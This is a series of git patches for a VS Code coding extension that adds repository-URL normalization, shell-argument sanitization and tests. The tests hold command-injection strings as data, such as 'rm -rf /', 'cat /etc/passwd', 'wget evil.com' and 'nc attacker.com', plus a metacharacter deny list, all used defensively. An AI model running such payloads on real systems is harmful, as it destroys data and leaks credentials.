a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -443,6 +443,14 @@ export class VsCodeMessenger { ); } + // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo + // Also handles: ssh://git@github.com:owner/repo.git (less common) + if (normalized.startsWith("ssh://git@github.com")) { + normalized = normalized + .replace("ssh://git@github.com/", "https://github.com/") + .replace("ssh://git@github.com:", "https://github.com/"); + } + // Convert shorthand owner/repo to full URL if ( normalized.includes("/") && diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index 5a7b98697..44dd15d74 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -32,6 +32,14 @@ const normalizeRepoUrl = (url: string | undefined | null): string => { normalized = normalized.replace("git@github.com:", "https://github.com/"); } + // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo + // Also handles: ssh://git@github.com:owner/repo.git (less common) + if (normalized.startsWith("ssh://git@github.com")) { + normalized = normalized + .replace("ssh://git@github.com/", "https://github.com/") + .replace("ssh://git@github.com:", "https://github.com/"); + } + // Convert shorthand owner/repo to full URL if ( normalized.includes("/") && From eab661e353c7a91104e280258a9da5d481b26822 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Thu, 16 Oct 2025 16:43:16 -0700 Subject: [PATCH 18/30] fix: timestamp fallback --- gui/src/components/BackgroundMode/AgentsList.tsx | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index 44dd15d74..b28c7ec68 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -295,8 +295,15 @@ function AgentStatusBadge({ status }: { status: string }) { function formatRelativeTime(dateString: string): string { try { const date = new Date(dateString); + const timestamp = date.getTime(); + + // Guard against invalid dates (NaN) + if (isNaN(timestamp)) { + return dateString; + } + const now = new Date(); - const diffMs = now.getTime() - date.getTime(); + const diffMs = now.getTime() - timestamp; const diffMins = Math.floor(diffMs / 60000); const diffHours = Math.floor(diffMs / 3600000); const diffDays = Math.floor(diffMs / 86400000); From 2d4f49f5f51d2b51cc5cc5697258094a2307e100 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 10:24:58 -0700 Subject: [PATCH 19/30] improv: clean up code --- core/util/sanitization.test.ts | 89 +++++++++++++++++++ core/util/sanitization.ts | 72 +++++++++++++++ .../vscode/src/extension/VsCodeMessenger.ts | 15 +++- 3 files changed, 175 insertions(+), 1 deletion(-) create mode 100644 core/util/sanitization.test.ts create mode 100644 core/util/sanitization.ts diff --git a/core/util/sanitization.test.ts b/core/util/sanitization.test.ts new file mode 100644 index 000000000..c0870ea66 --- /dev/null +++ b/core/util/sanitization.test.ts @@ -0,0 +1,89 @@ +import { describe, expect, it } from "@jest/globals"; +import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; + +describe("sanitizeShellArgument", () => { + it("should escape shell metacharacters", () => { + const dangerous = [ + "; rm -rf /", + "&& cat /etc/passwd", + "|| wget evil.com", + "| nc attacker.com 1234", + "`whoami`", + "$(whoami)", + "$HOME/evil", + ]; + + dangerous.forEach((input) => { + const result = sanitizeShellArgument(input); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + // shell-quote should properly escape these + expect(result).not.toBe(input); + }); + }); + + it("should handle safe strings", () => { + const safe = ["agent-123", "my-agent", "simple-message"]; + safe.forEach((input) => { + const result = sanitizeShellArgument(input); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + }); + }); + + it("should handle special characters", () => { + const result = sanitizeShellArgument("agent with spaces"); + expect(result).toBeDefined(); + expect(typeof result).toBe("string"); + }); + + it("should handle empty string", () => { + const result = sanitizeShellArgument(""); + expect(result).toBeDefined(); + }); +}); + +describe("validateGitHubRepoUrl", () => { + it("should accept valid repository names", () => { + expect(validateGitHubRepoUrl("continuedev/continue")).toBe(true); + expect(validateGitHubRepoUrl("owner/repo")).toBe(true); + expect(validateGitHubRepoUrl("owner-name/repo-name")).toBe(true); + expect(validateGitHubRepoUrl("https://github.com/owner/repo")).toBe(true); + expect(validateGitHubRepoUrl("git@github.com:owner/repo.git")).toBe(true); + }); + + it("should reject path traversal", () => { + expect(validateGitHubRepoUrl("../../../etc/passwd")).toBe(false); + expect(validateGitHubRepoUrl("owner/../evil")).toBe(false); + }); + + it("should reject command injection attempts", () => { + expect(validateGitHubRepoUrl("owner/repo; rm -rf /")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo && cat /etc/passwd")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo || wget evil.com")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo | nc attacker")).toBe(false); + }); + + it("should reject shell metacharacters", () => { + expect(validateGitHubRepoUrl("owner/$(whoami)")).toBe(false); + expect(validateGitHubRepoUrl("owner/`whoami`")).toBe(false); + expect(validateGitHubRepoUrl("$EVIL/repo")).toBe(false); + }); + + it("should reject shell redirection", () => { + expect(validateGitHubRepoUrl("owner/repo > /dev/null")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo < /etc/passwd")).toBe(false); + }); + + it("should reject newlines", () => { + expect(validateGitHubRepoUrl("owner/repo\nrm -rf /")).toBe(false); + expect(validateGitHubRepoUrl("owner/repo\rrm -rf /")).toBe(false); + }); + + it("should reject empty or invalid input", () => { + expect(validateGitHubRepoUrl("")).toBe(false); + expect(validateGitHubRepoUrl(" ")).toBe(false); + expect(validateGitHubRepoUrl(null as any)).toBe(false); + expect(validateGitHubRepoUrl(undefined as any)).toBe(false); + }); +}); diff --git a/core/util/sanitization.ts b/core/util/sanitization.ts new file mode 100644 index 000000000..da17df8c3 --- /dev/null +++ b/core/util/sanitization.ts @@ -0,0 +1,72 @@ +import { quote } from "shell-quote"; + +/** + * Sanitization utilities for preventing injection attacks. + * These utilities address specific security vulnerabilities identified in code review. + */ + +/** + * Sanitizes a string for safe use in shell commands by escaping special characters. + * Uses the battle-tested `shell-quote` library. + * + * @param arg - The argument to sanitize for shell execution + * @returns A safely escaped string suitable for shell commands + * + * @example + * ```typescript + * const command = `git stash push -m ${sanitizeShellArgument(message)}`; + * ``` + * + * Protects against: + * - Command injection (`;`, `&&`, `||`, `|`) + * - Command substitution (`$()`, backticks) + * - Variable expansion (`$VAR`) + */ +export function sanitizeShellArgument(arg: string): string { + const result = quote([arg]); + return typeof result === "string" ? result : arg; +} + +/** + * Validates that a repository name/URL doesn't contain malicious patterns. + * Rejects dangerous patterns but doesn't validate full URL structure. + * + * @param repoName - The repository name or URL to validate + * @returns true if safe, false if contains dangerous patterns + * + * @example + * ```typescript + * validateGitHubRepoUrl("owner/repo"); // true + * validateGitHubRepoUrl("owner/repo; rm -rf /"); // false + * ``` + * + * Protects against: + * - Path traversal (`../`) + * - Command injection (`;`, `&&`, `||`) + * - Shell metacharacters (backticks, `$`, `|`) + */ +export function validateGitHubRepoUrl(repoName: string): boolean { + if (!repoName || typeof repoName !== "string") { + return false; + } + + const trimmed = repoName.trim(); + + // Reject empty or whitespace-only strings + if (trimmed.length === 0) { + return false; + } + + // Reject path traversal + if (trimmed.includes("..")) { + return false; + } + + // Reject shell metacharacters that could enable injection + const dangerousChars = [";", "&", "|", "$", "`", "\n", "\r", "<", ">"]; + if (dangerousChars.some((char) => trimmed.includes(char))) { + return false; + } + + return true; +} diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 77c0cbab9..501ff56bc 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -15,6 +15,10 @@ import { WEBVIEW_TO_CORE_PASS_THROUGH, } from "core/protocol/passThrough"; import { stripImages } from "core/util/messageContent"; +import { + sanitizeShellArgument, + validateGitHubRepoUrl, +} from "core/util/sanitization"; import * as vscode from "vscode"; import { ApplyManager } from "../apply"; @@ -295,6 +299,13 @@ export class VsCodeMessenger { // Get repo name/URL const repoName = await this.ide.getRepoName(workspaceDir); if (repoName) { + // Validate repo URL to prevent injection attacks + if (!validateGitHubRepoUrl(repoName)) { + vscode.window.showErrorMessage( + "Invalid repository format. Please ensure you're using a valid GitHub repository.", + ); + return; + } // If repo name looks like "owner/repo", convert to GitHub URL if (repoName.includes("/") && !repoName.startsWith("http")) { repoUrl = `https://github.com/${repoName}`; @@ -565,8 +576,10 @@ export class VsCodeMessenger { async () => { const workspacePath = vscode.Uri.parse(matchingWorkspace).fsPath; + // Sanitize agentSessionId to prevent command injection + const stashMessage = `Continue: Stashed before opening agent ${agentSessionId}`; await this.ide.subprocess( - `git stash push -m "Continue: Stashed before opening agent ${agentSessionId}"`, + `git stash push -m ${sanitizeShellArgument(stashMessage)}`, workspacePath, ); }, From 47b1e150c21db57750d105cc502329c0ce568b83 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 10:36:36 -0700 Subject: [PATCH 20/30] improv: add tests --- core/util/repoUrl.ts | 70 +++++++ core/util/repoUrl.vitest.ts | 197 ++++++++++++++++++ ...ization.test.ts => sanitization.vitest.ts} | 2 +- .../vscode/src/extension/VsCodeMessenger.ts | 46 +--- 4 files changed, 269 insertions(+), 46 deletions(-) create mode 100644 core/util/repoUrl.ts create mode 100644 core/util/repoUrl.vitest.ts rename core/util/{sanitization.test.ts => sanitization.vitest.ts} (98%) diff --git a/core/util/repoUrl.ts b/core/util/repoUrl.ts new file mode 100644 index 000000000..bb893c4fb --- /dev/null +++ b/core/util/repoUrl.ts @@ -0,0 +1,70 @@ +/** + * Utility functions for normalizing and handling repository URLs. + */ + +/** + * Normalizes a repository URL to a consistent format. + * + * Handles various Git URL formats and converts them to a standard HTTPS GitHub URL: + * - SSH format: `git@github.com:owner/repo.git` → `https://github.com/owner/repo` + * - SSH protocol: `ssh://git@github.com/owner/repo.git` → `https://github.com/owner/repo` + * - Shorthand: `owner/repo` → `https://github.com/owner/repo` + * - Removes `.git` suffix + * - Removes trailing slashes + * - Normalizes to lowercase + * + * @param url - The repository URL to normalize + * @returns The normalized repository URL in lowercase HTTPS format + * + * @example + * ```typescript + * normalizeRepoUrl("git@github.com:owner/repo.git") + * // Returns: "https://github.com/owner/repo" + * + * normalizeRepoUrl("owner/repo") + * // Returns: "https://github.com/owner/repo" + * + * normalizeRepoUrl("https://github.com/Owner/Repo.git") + * // Returns: "https://github.com/owner/repo" + * ``` + */ +export function normalizeRepoUrl(url: string): string { + if (!url) return ""; + + let normalized = url.trim(); + + // Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo + if (normalized.startsWith("git@github.com:")) { + normalized = normalized.replace("git@github.com:", "https://github.com/"); + } + + // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo + // Also handles: ssh://git@github.com:owner/repo.git (less common) + if (normalized.startsWith("ssh://git@github.com")) { + normalized = normalized + .replace("ssh://git@github.com/", "https://github.com/") + .replace("ssh://git@github.com:", "https://github.com/"); + } + + // Convert shorthand owner/repo to full URL (check case-insensitively) + if ( + normalized.includes("/") && + !normalized.toLowerCase().startsWith("http") && + !normalized.startsWith("git@") + ) { + normalized = `https://github.com/${normalized}`; + } + + // Remove trailing slash before removing .git suffix + if (normalized.endsWith("/")) { + normalized = normalized.slice(0, -1); + } + + // Remove .git suffix + if (normalized.endsWith(".git")) { + normalized = normalized.slice(0, -4); + } + + // Normalize to lowercase + return normalized.toLowerCase(); +} diff --git a/core/util/repoUrl.vitest.ts b/core/util/repoUrl.vitest.ts new file mode 100644 index 000000000..aac95358f --- /dev/null +++ b/core/util/repoUrl.vitest.ts @@ -0,0 +1,197 @@ +import { describe, expect, it } from "vitest"; +import { normalizeRepoUrl } from "./repoUrl"; + +describe("normalizeRepoUrl", () => { + describe("SSH format conversion", () => { + it("should convert SSH format to HTTPS", () => { + expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert SSH format without .git suffix", () => { + expect(normalizeRepoUrl("git@github.com:owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert SSH format with uppercase to lowercase", () => { + expect(normalizeRepoUrl("git@github.com:Owner/Repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("SSH protocol conversion", () => { + it("should convert ssh:// protocol with slash separator", () => { + expect(normalizeRepoUrl("ssh://git@github.com/owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert ssh:// protocol with colon separator (less common)", () => { + expect(normalizeRepoUrl("ssh://git@github.com:owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert ssh:// protocol without .git suffix", () => { + expect(normalizeRepoUrl("ssh://git@github.com/owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("shorthand format conversion", () => { + it("should convert owner/repo to full HTTPS URL", () => { + expect(normalizeRepoUrl("owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert shorthand with uppercase to lowercase", () => { + expect(normalizeRepoUrl("Owner/Repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle shorthand with hyphens and underscores", () => { + expect(normalizeRepoUrl("owner-name/repo_name")).toBe( + "https://github.com/owner-name/repo_name", + ); + }); + }); + + describe(".git suffix removal", () => { + it("should remove .git suffix from HTTPS URLs", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle multiple transformations with .git removal", () => { + expect(normalizeRepoUrl("git@github.com:owner/repo.git")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("trailing slash removal", () => { + it("should remove trailing slash from URLs", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo/")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle both .git and trailing slash", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo.git/")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("case normalization", () => { + it("should convert mixed case HTTPS URLs to lowercase", () => { + expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should convert all uppercase to lowercase", () => { + expect(normalizeRepoUrl("HTTPS://GITHUB.COM/OWNER/REPO")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should handle mixed case in shorthand format", () => { + expect(normalizeRepoUrl("ContinueDev/Continue")).toBe( + "https://github.com/continuedev/continue", + ); + }); + }); + + describe("already normalized URLs", () => { + it("should handle already normalized HTTPS URLs", () => { + expect(normalizeRepoUrl("https://github.com/owner/repo")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should only lowercase already normalized URLs", () => { + expect(normalizeRepoUrl("https://github.com/Owner/Repo")).toBe( + "https://github.com/owner/repo", + ); + }); + }); + + describe("edge cases", () => { + it("should return empty string for empty input", () => { + expect(normalizeRepoUrl("")).toBe(""); + }); + + it("should handle whitespace-only input", () => { + expect(normalizeRepoUrl(" ")).toBe(""); + }); + + it("should trim whitespace from input", () => { + expect(normalizeRepoUrl(" owner/repo ")).toBe( + "https://github.com/owner/repo", + ); + }); + + it("should not modify non-GitHub git URLs", () => { + // This function is GitHub-specific, other URLs just get lowercased + expect(normalizeRepoUrl("https://gitlab.com/owner/repo")).toBe( + "https://gitlab.com/owner/repo", + ); + }); + + it("should handle URLs with port numbers", () => { + expect(normalizeRepoUrl("https://github.com:443/owner/repo")).toBe( + "https://github.com:443/owner/repo", + ); + }); + + it("should handle complex repository names", () => { + expect(normalizeRepoUrl("owner/repo-with-dashes-123")).toBe( + "https://github.com/owner/repo-with-dashes-123", + ); + }); + }); + + describe("real-world examples", () => { + it("should normalize Continue's repository from SSH", () => { + expect(normalizeRepoUrl("git@github.com:continuedev/continue.git")).toBe( + "https://github.com/continuedev/continue", + ); + }); + + it("should normalize Continue's repository from shorthand", () => { + expect(normalizeRepoUrl("continuedev/continue")).toBe( + "https://github.com/continuedev/continue", + ); + }); + + it("should normalize Continue's repository from HTTPS", () => { + expect( + normalizeRepoUrl("https://github.com/continuedev/continue.git"), + ).toBe("https://github.com/continuedev/continue"); + }); + + it("should match repositories regardless of input format", () => { + const formats = [ + "git@github.com:continuedev/continue.git", + "continuedev/continue", + "https://github.com/continuedev/continue", + "https://github.com/continuedev/continue.git", + "ssh://git@github.com/continuedev/continue.git", + "ContinueDev/Continue", + ]; + + const expected = "https://github.com/continuedev/continue"; + formats.forEach((format) => { + expect(normalizeRepoUrl(format)).toBe(expected); + }); + }); + }); +}); diff --git a/core/util/sanitization.test.ts b/core/util/sanitization.vitest.ts similarity index 98% rename from core/util/sanitization.test.ts rename to core/util/sanitization.vitest.ts index c0870ea66..3a29e9f7a 100644 --- a/core/util/sanitization.test.ts +++ b/core/util/sanitization.vitest.ts @@ -1,4 +1,4 @@ -import { describe, expect, it } from "@jest/globals"; +import { describe, expect, it } from "vitest"; import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; describe("sanitizeShellArgument", () => { diff --git a/extensions/vscode/src/extension/VsCodeMessenger.ts b/extensions/vscode/src/extension/VsCodeMessenger.ts index 501ff56bc..821cbe1ad 100644 --- a/extensions/vscode/src/extension/VsCodeMessenger.ts +++ b/extensions/vscode/src/extension/VsCodeMessenger.ts @@ -15,6 +15,7 @@ import { WEBVIEW_TO_CORE_PASS_THROUGH, } from "core/protocol/passThrough"; import { stripImages } from "core/util/messageContent"; +import { normalizeRepoUrl } from "core/util/repoUrl"; import { sanitizeShellArgument, validateGitHubRepoUrl, @@ -440,51 +441,6 @@ export class VsCodeMessenger { const configHandler = await configHandlerPromise; const { agentSessionId } = msg.data; - // Helper function to normalize repository URLs - const normalizeRepoUrl = (url: string): string => { - if (!url) return ""; - - let normalized = url.trim(); - - // Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo - if (normalized.startsWith("git@github.com:")) { - normalized = normalized.replace( - "git@github.com:", - "https://github.com/", - ); - } - - // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo - // Also handles: ssh://git@github.com:owner/repo.git (less common) - if (normalized.startsWith("ssh://git@github.com")) { - normalized = normalized - .replace("ssh://git@github.com/", "https://github.com/") - .replace("ssh://git@github.com:", "https://github.com/"); - } - - // Convert shorthand owner/repo to full URL - if ( - normalized.includes("/") && - !normalized.startsWith("http") && - !normalized.startsWith("git@") - ) { - normalized = `https://github.com/${normalized}`; - } - - // Remove .git suffix - if (normalized.endsWith(".git")) { - normalized = normalized.slice(0, -4); - } - - // Remove trailing slash - if (normalized.endsWith("/")) { - normalized = normalized.slice(0, -1); - } - - // Normalize to lowercase - return normalized.toLowerCase(); - }; - try { // First, fetch the agent session to get repo URL and branch const agentSession = From 2ba3ee365a493ac2e5e3f450f92d5569fdab62e3 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 10:57:09 -0700 Subject: [PATCH 21/30] fix: duplication --- .../components/BackgroundMode/AgentsList.tsx | 45 +------------------ 1 file changed, 2 insertions(+), 43 deletions(-) diff --git a/gui/src/components/BackgroundMode/AgentsList.tsx b/gui/src/components/BackgroundMode/AgentsList.tsx index b28c7ec68..b0e2d00b6 100644 --- a/gui/src/components/BackgroundMode/AgentsList.tsx +++ b/gui/src/components/BackgroundMode/AgentsList.tsx @@ -1,5 +1,6 @@ import { ArrowPathIcon, PlayIcon } from "@heroicons/react/24/outline"; import { useContext, useEffect, useState } from "react"; +import { normalizeRepoUrl } from "core/util/repoUrl"; import { useAuth } from "../../context/Auth"; import { IdeMessengerContext } from "../../context/IdeMessenger"; import { useAppSelector } from "../../redux/hooks"; @@ -21,48 +22,6 @@ interface AgentsListProps { isCreatingAgent?: boolean; } -// Robust URL normalization function -const normalizeRepoUrl = (url: string | undefined | null): string => { - if (!url) return ""; - - let normalized = url.trim(); - - // Convert SSH to HTTPS: git@github.com:owner/repo.git -> https://github.com/owner/repo - if (normalized.startsWith("git@github.com:")) { - normalized = normalized.replace("git@github.com:", "https://github.com/"); - } - - // Convert SSH protocol to HTTPS: ssh://git@github.com/owner/repo.git -> https://github.com/owner/repo - // Also handles: ssh://git@github.com:owner/repo.git (less common) - if (normalized.startsWith("ssh://git@github.com")) { - normalized = normalized - .replace("ssh://git@github.com/", "https://github.com/") - .replace("ssh://git@github.com:", "https://github.com/"); - } - - // Convert shorthand owner/repo to full URL - if ( - normalized.includes("/") && - !normalized.startsWith("http") && - !normalized.startsWith("git@") - ) { - normalized = `https://github.com/${normalized}`; - } - - // Remove .git suffix - if (normalized.endsWith(".git")) { - normalized = normalized.slice(0, -4); - } - - // Remove trailing slash - if (normalized.endsWith("/")) { - normalized = normalized.slice(0, -1); - } - - // Normalize to lowercase - return normalized.toLowerCase(); -}; - export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { const { session } = useAuth(); const ideMessenger = useContext(IdeMessengerContext); @@ -156,7 +115,7 @@ export function AgentsList({ isCreatingAgent = false }: AgentsListProps) { const isAgentInCurrentWorkspace = (agent: Agent): boolean => { // Get all possible agent repo URLs (both repoUrl and metadata.github_repo) const agentUrls = [agent.repoUrl, agent.metadata?.github_repo] - .filter(Boolean) + .filter((url): url is string => Boolean(url)) .map(normalizeRepoUrl) .filter((url) => url !== ""); From 9c35910b6f79b0378f5190ad4464c2aba53cd6f3 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 11:03:43 -0700 Subject: [PATCH 22/30] fix: normalization --- core/util/repoUrl.ts | 4 ++-- core/util/repoUrl.vitest.ts | 7 +++++++ 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/core/util/repoUrl.ts b/core/util/repoUrl.ts index bb893c4fb..a9c076c40 100644 --- a/core/util/repoUrl.ts +++ b/core/util/repoUrl.ts @@ -46,10 +46,10 @@ export function normalizeRepoUrl(url: string): string { .replace("ssh://git@github.com:", "https://github.com/"); } - // Convert shorthand owner/repo to full URL (check case-insensitively) + // Convert shorthand owner/repo to full URL if ( normalized.includes("/") && - !normalized.toLowerCase().startsWith("http") && + !normalized.includes("://") && !normalized.startsWith("git@") ) { normalized = `https://github.com/${normalized}`; diff --git a/core/util/repoUrl.vitest.ts b/core/util/repoUrl.vitest.ts index aac95358f..c2c85c1b0 100644 --- a/core/util/repoUrl.vitest.ts +++ b/core/util/repoUrl.vitest.ts @@ -146,6 +146,13 @@ describe("normalizeRepoUrl", () => { ); }); + it("should not convert non-GitHub SSH URLs to GitHub", () => { + // Regression test: SSH URLs with protocols should not be treated as shorthands + expect(normalizeRepoUrl("ssh://git@gitlab.com/owner/repo.git")).toBe( + "ssh://git@gitlab.com/owner/repo", + ); + }); + it("should handle URLs with port numbers", () => { expect(normalizeRepoUrl("https://github.com:443/owner/repo")).toBe( "https://github.com:443/owner/repo", From 27c559d1b9bda02c4d5e0a355fcd03333fcd53ca Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 11:14:27 -0700 Subject: [PATCH 23/30] improv: tests --- core/util/sanitization.vitest.ts | 197 +++++++++++++++++++++++++++++++ 1 file changed, 197 insertions(+) diff --git a/core/util/sanitization.vitest.ts b/core/util/sanitization.vitest.ts index 3a29e9f7a..09ce67fa0 100644 --- a/core/util/sanitization.vitest.ts +++ b/core/util/sanitization.vitest.ts @@ -1,3 +1,4 @@ +import { execSync } from "child_process"; import { describe, expect, it } from "vitest"; import { sanitizeShellArgument, validateGitHubRepoUrl } from "./sanitization"; @@ -87,3 +88,199 @@ describe("validateGitHubRepoUrl", () => { expect(validateGitHubRepoUrl(undefined as any)).toBe(false); }); }); + +/** + * Integration tests for sanitizeShellArgument + * + * These tests actually execute shell commands with sanitized dangerous inputs + * to verify end-to-end that the sanitization prevents injection attacks. + * + * IMPORTANT: These are CRITICAL security tests. The unit tests above verify + * that sanitization transforms inputs, but only these integration tests prove + * that the transformed output is safe when executed in a real shell. + */ +describe("sanitizeShellArgument - integration tests", () => { + // Helper function to safely execute a command with a timeout + const safeExec = (command: string): string => { + try { + return execSync(command, { + encoding: "utf-8", + timeout: 5000, // 5 second timeout to prevent hanging + shell: "/bin/sh", // Use standard POSIX shell + }).trim(); + } catch (error: any) { + // If command fails (non-zero exit), return the error output + return error.stdout?.trim() || ""; + } + }; + + it("should prevent command injection with semicolon separator", () => { + const malicious = "; echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + // Execute echo command with the sanitized input + const result = safeExec(`echo ${sanitized}`); + + // The output should be the literal string, not execute "echo INJECTED" + expect(result).toBe(malicious); + expect(result).not.toBe("INJECTED"); + }); + + it("should prevent command injection with && operator", () => { + const malicious = "safe && echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string, not execute the injected command + // The string "INJECTED" will appear, but as part of "echo INJECTED" literal text + expect(result).toBe(malicious); + expect(result).toContain("echo INJECTED"); // Verify it's the literal command text + }); + + it("should prevent command injection with || operator", () => { + const malicious = "safe || echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string, not execute the injected command + expect(result).toBe(malicious); + expect(result).toContain("echo INJECTED"); // Verify it's the literal command text + }); + + it("should prevent command injection with pipe operator", () => { + const malicious = "safe | echo INJECTED"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + expect(result).toBe(malicious); + }); + + it("should prevent command substitution with $()", () => { + const malicious = "$(echo INJECTED)"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string "$(echo INJECTED)", not "INJECTED" + expect(result).toBe(malicious); + expect(result).not.toBe("INJECTED"); + }); + + it("should prevent command substitution with backticks", () => { + const malicious = "`echo INJECTED`"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal backtick string, not execute it + expect(result).toBe(malicious); + expect(result).not.toBe("INJECTED"); + }); + + it("should prevent variable expansion", () => { + // Set an environment variable for this test + process.env.TEST_VAR = "EXPANDED"; + + const malicious = "$TEST_VAR"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output literal "$TEST_VAR", not "EXPANDED" + expect(result).toBe(malicious); + expect(result).not.toBe("EXPANDED"); + + // Cleanup + delete process.env.TEST_VAR; + }); + + it("should handle git stash message use case safely", () => { + // This mirrors the actual usage in VsCodeMessenger.ts:269 + const agentId = "agent-123; rm -rf /"; + const stashMessage = `Continue: Stashed before opening agent ${agentId}`; + const sanitized = sanitizeShellArgument(stashMessage); + + // Simulate the git stash command (using echo as a safe substitute) + // In real code: `git stash push -m ${sanitized}` + const result = safeExec(`echo ${sanitized}`); + + // The message should contain the full literal string including dangerous chars + expect(result).toContain("agent-123; rm -rf /"); + expect(result).toContain("Continue: Stashed before opening agent"); + // Verify it's one line (not executed as multiple commands) + expect(result.split("\n").length).toBe(1); + }); + + it("should handle multi-line injection attempts", () => { + const malicious = "line1\necho INJECTED\nline3"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should preserve the structure but not execute embedded commands + expect(result).toContain("line1"); + expect(result).toContain("line3"); + // The literal "echo INJECTED" text should appear, but not executed + expect(result).toContain("echo INJECTED"); + }); + + it("should handle shell redirection attempts", () => { + const malicious = "message > /tmp/test.txt"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the literal string, not create a file + expect(result).toBe(malicious); + // The command should not have created the file + // (we're not checking file system to keep test isolated) + }); + + it("should handle complex injection with multiple attack vectors", () => { + const malicious = "; $(whoami) && `date` || $HOME | cat > /dev/null"; + const sanitized = sanitizeShellArgument(malicious); + + const result = safeExec(`echo ${sanitized}`); + + // Should output the entire literal string + expect(result).toBe(malicious); + // Verify none of the commands were executed by checking output is literal + expect(result).toContain("$(whoami)"); + expect(result).toContain("`date`"); + expect(result).toContain("$HOME"); + }); + + it("should handle special characters safely", () => { + const special = 'test with spaces, quotes\', and "more"'; + const sanitized = sanitizeShellArgument(special); + + const result = safeExec(`echo ${sanitized}`); + + expect(result).toBe(special); + }); + + it("should handle empty string without errors", () => { + const sanitized = sanitizeShellArgument(""); + + // Should not throw when used in a command + expect(() => safeExec(`echo ${sanitized}`)).not.toThrow(); + }); + + it("should verify shell-quote properly escapes for git log format strings", () => { + // Another common use case: git log with custom format strings + const userInput = "Author: $(whoami) Date: `date`"; + const sanitized = sanitizeShellArgument(userInput); + + // Simulate: git log --format="%s: ${sanitized}" + // Using printf as a safer test substitute + const result = safeExec(`printf '%s' ${sanitized}`); + + // Should output the literal string, not execute substitutions + expect(result).toBe(userInput); + expect(result).toContain("$(whoami)"); + expect(result).toContain("`date`"); + }); +}); From aeaee5961d4ef97ebf6c2aa50b755834b3b02fc8 Mon Sep 17 00:00:00 2001 From: Tomasz Stefaniak Date: Fri, 17 Oct 2025 11:20:49 -0700 Subject: [PATCH 24/30] improv: validation --- core/util/sanitization.vitest.ts | 76 +++++++++++++++++++ .../vscode/src/extension/VsCodeMessenger.ts | 31 ++++++-- 2 files changed, 99 insertions(+), 8 deletions(-) diff --git a/core/util/sanitization.vitest.ts b/core/util/sanitization.vitest.ts index 09ce67fa0..f048c72c6 100644 --- a/core/util/sanitization.vitest.ts 